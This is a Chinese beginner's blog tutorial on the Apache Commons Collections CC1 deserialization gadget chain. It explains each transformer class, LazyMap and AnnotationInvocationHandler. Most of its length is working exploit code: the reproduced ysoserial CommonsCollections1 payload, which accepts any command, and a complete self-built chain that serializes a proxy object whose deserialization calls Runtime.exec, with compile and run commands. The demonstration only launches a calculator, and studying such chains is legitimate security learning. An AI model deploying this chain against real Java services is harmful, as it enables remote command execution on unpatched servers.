0基础入门java安全(一)--CC1基础分析

前言

纯萌新,如有不当之处请各位师傅批评指正

本文旨在记录一下cc1的学习过程,尽可能使用通俗易懂的语言进行讲解,不很了解java语言的可以使用以下提示词

复制代码
把这段代码当作我完全不会编程来解释:逐行说明每行代码做了什么、为什么这样做,以及整个程序的功能。用最通俗的语言,不要跳过任何基础概念,包括函数用法。

先了解cc链是什么

CC = Commons Collections。

"The Apache Commons Collections package contains types that extend and augment the Java Collections Framework." ------ 即扩展和增强 Java 集合框架的类型库,由 Apache 软件基金会维护。

CC1 指 Apache Commons Collections 库的第一个反序列化利用链,后续还有 CC2~CC7 等多个变种。

明确cc利用链的使用场景:攻击者只能发送一个序列化对象,让服务端反序列化。

一、基础机制类


1. java.lang.reflect.Method

介绍 :

Java 反射核心类,用于在运行时动态调用任意对象的任意方法。CC 链中几乎所有 Runtime.exec() 的调用都仰赖它------因为 Runtime 本身没有实现 Serializable,不能直接序列化,必须通过反射在 readObject 侧动态获取。

关键代码:

java 复制代码
// 获取 Runtime 类
Class<?> clazz = Class.forName("java.lang.Runtime");
// 获取 exec 方法
Method execMethod = clazz.getMethod("exec", String.class);

// 静态调用(无 receiver)
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(null);  // Runtime.getRuntime()

// 实例调用
execMethod.invoke(runtime, "calc.exe");

逻辑分析:

  • Method 对象本身实现了 Serializable(存的是方法签名,反序列化时通过签名重新解析)
  • invoke 接受两个参数:方法所属对象 + 参数数组
  • 对于静态方法,第一个参数传 null
  • 反射是 CC 链的底层基础设施 ------InvokerTransformer 内部封装的就是一次 Method.invoke()(听不懂没关系,我们后面会再提到)

测试代码示例:

java 复制代码
import java.lang.reflect.Method;

public class Test {
    public static void main(String[] args) throws Exception {
        Class<?> runtimeClass = Class.forName("java.lang.Runtime");
        Method getRuntime = runtimeClass.getMethod("getRuntime");
        Object runtime = getRuntime.invoke(null);
        Method exec = runtimeClass.getMethod("exec", String.class);
        exec.invoke(runtime, "calc.exe");
    }
}
javac Test.java
java Test

二、核心Transformer类

1.ConstantTransformer

介绍 :

最简单的 Transformer 实现------transform() 方法永远返回构造函数中传入的常量 ,忽略输入参数。常用于 CC 链的第一个环节 ,用来给后续 InvokerTransformer 提供目标对象(如 Runtime.class)。

关键代码:

java 复制代码
public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;  // ← 无论 input 是什么,都返回固定值
    }
}

逻辑分析:

  • 在 CC 链中,第一个 transformer 通常是 ConstantTransformer(Runtime.class) ------ 不管输入是什么,都返回 Runtime.class 对象
  • 这个 Runtime.class 会传给下一个 InvokerTransformer("getMethod", ...),从而调用 Class.getMethod("getRuntime")

2.InvokerTransformer

介绍 :

Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用指定的方法并返回方法调用结果

关键代码

java 复制代码
public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class<?>[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class<?>[] paramTypes, Object[] args) { //方法名、参数类型、参数
        this.iMethodName = methodName; 
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) return null;
        Class<?> cls = input.getClass(); //拿类名
        Method method = cls.getMethod(iMethodName, iParamTypes); //调用预先设置好的方法
        return method.invoke(input, iArgs);  // ← 反射调用
    }
}

逻辑分析:

  • 核心逻辑:input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs)
  • 通过 InvokerTransformer("exec", [String.class], ["calc"]) → 对 Runtime 实例调用 exec("calc")

利用代码示例:

java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
 
public class Test {
    public static void main(String[] args) {
        Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        transformer.transform(Runtime.getRuntime());
    }
}

需要下载commons-collections-3.2.2.jar放在目录下,不然会找不到所需类

复制代码
javac -cp commons-collections-3.2.2.jar Test.java
java -cp .;commons-collections-3.2.2.jar Test

3.ChainedTransformer

介绍 :

将多个 Transformer 串联成一条执行链------transform(input) 会依次调用每个 Transformer,前一个的输出作为后一个的输入。

关键代码

java 复制代码
public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer<?, ?>[] iTransformers;

    public ChainedTransformer(Transformer<?, ?>[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        } // ← 链式调用
        return object;
    }
}

利用代码示例 :

( 利用 ChainedTransformer 实现 Runtime.getRuntime().exec("calc") )

java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;

public class Test {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
		    new ConstantTransformer(Runtime.class),
		    new InvokerTransformer("getMethod",
		        new Class[]{String.class, Class[].class},
		        new Object[]{"getRuntime", new Class[0]}),
		    new InvokerTransformer("invoke",
		        new Class[]{Object.class, Object[].class},
		        new Object[]{null, new Object[0]}),
		    new InvokerTransformer("exec",
		        new Class[]{String.class},
		        new Object[]{"calc.exe"})
};

        ChainedTransformer chain = new ChainedTransformer(transformers);

		// 触发整个链
		chain.transform("任意输入");  // → 打开计算器
	}
}
javac -cp commons-collections-3.2.2.jar Test.java
java -cp .;commons-collections-3.2.2.jar Test

三、容器 / Map 触发类


1.LazyMap

用处很广泛据说。当一个 key 在 Map 中不存在 时,get(key) 会调用预设的 factory.transform(key) 来生成 value,然后将 key-value 放入 Map 并返回。

重要的是,其 get 方法会调用预先声明的类的transform方法,我们可以借此触发 ChainedTransformertransform 方法。

LazyMap设计的初衷是,当你在请求一个Map中某个key的值的时候,如果key不存在,LazyMap可以自动创建一个值放到Map里再返回。省去 if (null) 判断,懒加载自动创建。就是个带默认值工厂的 Map。

Java 复制代码
public class LazyMap extends AbstractMapDecorator {
    protected final Transformer factory;

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    public Object get(Object key) {
        if (!map.containsKey(key)) {    // ← key 不存在时触发
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}

逻辑分析:

  • 触发条件简单:lazyMap.get(anyNewKey)factory.transform(anyNewKey)

利用代码示例:

java 复制代码
public class Test {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", 
	                new Class[]{String.class, Class[].class}, 
	                new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", 
	                new Class[]{Object.class, Object[].class}, 
	                new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", 
	                new Class[]{String.class}, 
	                new Object[]{"calc"})
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        lazyMap.get("anything");
    }
}
javac -cp commons-collections-3.2.2.jar Test.java
java -cp .;commons-collections-3.2.2.jar Test

四、触发入口(readObject 落地类)


1. AnnotationInvocationHandler

介绍 :

CC1 和 CC3 链的反序列化入口类。它实现了 InvocationHandler(这个后面会再提到,先记着有这么个东西) 和 Serializable,自定义了 readObject() 方法。当反序列化时,readObject() 会遍历 memberValues(一个 Map),沿途触发 TransformedMap.setValue()LazyMap.get()

设计初衷

把注解的成员变量存在一个 Map<String, Object> 里(memberValues),通过动态代理把 value() 等方法调用映射成 memberValues.get("value")

CC 链劫持的是它的 readObject() 方法------这个方法会遍历 memberValues 这个 Map,而 CC 链把 memberValues 替换成了 TransformedMap 或 LazyMap,遍历操作就触发了命令执行。

关键代码:

java 复制代码
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;	//memberValues=lazymap
    }
	
	// readObject 反序列化时自动执行(JDK ≤ 8u71),入口
    private void readObject(ObjectInputStream s) throws IOException {
        s.defaultReadObject();
        // 遍历 memberValues 的 entrySet
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Object value = memberValue.getValue();
            // 如果是 TransformedMap,这里会触发 setValue 的回调
            // 或者是 LazyMap 的 Proxy 场景,触发 get()
        }   
    }        
    //利用 invoke 方法可实现调用 LazyMap#get
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        String methodName = method.getName();
        // 如果 memberValues 是 LazyMap
        // LazyMap.get(methodName) → key 不存在 → 触发链
        return memberValues.get(methodName);
    }
}

cc1

测试环境:3.1-3.2.1 jdk版本小于u71

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/

java 复制代码
package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()
	Requires:
		commons-collections
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

	public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections1.class, args);
	}

	public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

完整调用链

复制代码
ObjectInputStream.readObject()
  → AnnotationInvocationHandler.readObject()
    → Proxy.entrySet()
      → AnnotationInvocationHandler.invoke()
        → LazyMap.get()
          → ChainedTransformer.transform()
            → InvokerTransformer.transform()
              → Runtime.exec()

这里尝试一步步还原出cc1,加深理解

java 复制代码
public class CommonsCollections1 {

    public static void main(String[] args) throws Exception {
        //1.构建Transformer链,这也是我们最终目标
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", 
	                new Class[]{String.class, Class[].class}, 
	                new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", 
	                new Class[]{Object.class, Object[].class}, 
	                new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", 
	                new Class[]{String.class}, 
	                new Object[]{"calc"})
        };

        //2.放进ChainedTransformer
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //3.放进LazyMap
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

先实例化AnnotationInvocationHandler类,但是由于他在sun.reflect.annotation.AnnotationInvocationHandler里,不是public不能直接创建,我们需要反射调用

由于知道这个类的路径,我们可以使用Class.forName("类的路径")来拿到这个类

java 复制代码
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

拿到构造函数

java 复制代码
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

允许调用私有构造方法

java 复制代码
constructor.setAccessible(true);

然后我们创建对象并给他的构造方法传参

java 复制代码
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
// 这个 innerHandler 的 memberValues = lazyMap
// 以后谁调 innerHandler.invoke(),里面就会调 lazyMap.get(方法名)

这里用newInstance方法调用构造方法,Override.class任意注释,lazyMap是AnnotationInvocationHandler类接收的第二个参数,也就是我们要用来触发get的目标(我们要触发lazyMap的get方法,看不懂就再回去看AnnotationInvocationHandler类介绍里的代码和注释)

然后我们就要创建要利用的代理对象(Proxy类的newProxyInstance方法可以实现:触发代理对象的任意方法,都会默认变成触发第三个参数的invoke方法,而我们要触发AnnotationInvocationHandler类的invoke方法,第三个参数就应该是AnnotationInvocationHandler类)

目标:让某个对象调用 entrySet() 时,变成调 lazyMap.get("entrySet")

学习下Proxy类的newProxyInstance方法

java 复制代码
Proxy.newProxyInstance( 类加载器, 接口数组, 处理器 )

三个参数分别选择

  • LazyMap.class.getClassLoader()好像用任意类都可以

  • LazyMap.class.getInterfaces()拿到lazymap的全部接口(这个参数是用于告诉proxy代理对象要假装实现的方法)

    LazyMap 的声明是:

    public class LazyMap extends AbstractMapDecorator implements Map, Serializable {

    所以 LazyMap.class.getInterfaces() 返回的是:
    [Map.class, Serializable.class]

    两个接口:

    • Map.class → 代理对象假装是 Map,有 get(), entrySet() 等方法
    • Serializable.class → 代理对象可以序列化
  • handler这里是指向了我们之前创建的AnnotationInvocationHandler类(这是第三个参数。Proxy 生成的假对象上,任何人调它的任何方法(包括AnnotationInvocationHandler中的entrySet(),这也是我们利用的关键),都不真的执行,而是转给 handler 里的 invoke 方法统一处理,而我们已经提前设置好memberValues = lazyMap,这样就成功调用了LazyMapget()方法)

java 复制代码
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

然后就是创建一个新的 AnnotationInvocationHandler(名叫 handler1),把代理Map(mapProxy)传入,作用是触发上面的newProxyInstance

遍历 entrySet → 触发上面的 Proxy 拦截链

java 复制代码
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

最后加上序列化代码

java 复制代码
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();

可以本地测试一下,只需要加上反序列化代码

java 复制代码
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

最终代码

java 复制代码
import java.lang.reflect.Constructor;   
import java.lang.reflect.Proxy;         
import java.io.ByteArrayOutputStream;   
import java.io.ByteArrayInputStream;    
import java.io.ObjectOutputStream;      
import java.io.ObjectInputStream; 

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CommonsCollections1 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", 
	                new Class[]{String.class, Class[].class}, 
	                new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", 
	                new Class[]{Object.class, Object[].class}, 
	                new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", 
	                new Class[]{String.class}, 
	                new Object[]{"calc"})
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);

        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(
	        LazyMap.class.getClassLoader(), 
	        LazyMap.class.getInterfaces(), 
	        handler
	    );
		InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
		
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
		ObjectOutputStream oos = new ObjectOutputStream(baos);
		oos.writeObject(handler1);
		oos.flush();
		oos.close();
		
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
		ObjectInputStream ois = new ObjectInputStream(bais);
		ois.readObject();
		ois.close();
    }
}

本地验证的时候环境还又修改了一下

最终

复制代码
set PATH=path\to\jdk1.7.0_80\bin;%PATH%
javac -cp commons-collections-3.1.jar CommonsCollections1.java
java -cp .;commons-collections-3.1.jar CommonsCollections1